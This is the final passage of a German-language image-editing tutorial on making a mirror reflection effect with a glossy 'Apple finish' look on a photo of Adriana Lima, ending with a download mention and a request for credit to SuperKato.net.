Und fertig ist das “Apple Finish” !!! Unser Bild hat nun einen leichten Mac look, das meiner Meinung sehr interessant und cool aussieht.

Schritt 9

Nun klopft man sich auf die Schulter, für dieses tolle Adriana Lima Bild mit HD Spiegel Effekt.

Spiegel Effekt mit Apple Finish

Hier noch übrigens die einzelnen Files zum Downloaden

Das Tutorial ist OpenSource. Kopieren und Weitergeben erlaubt! Eine Quellenangabe auf www.SuperKato.net als Dankeschön, wäre allerdings sehr nett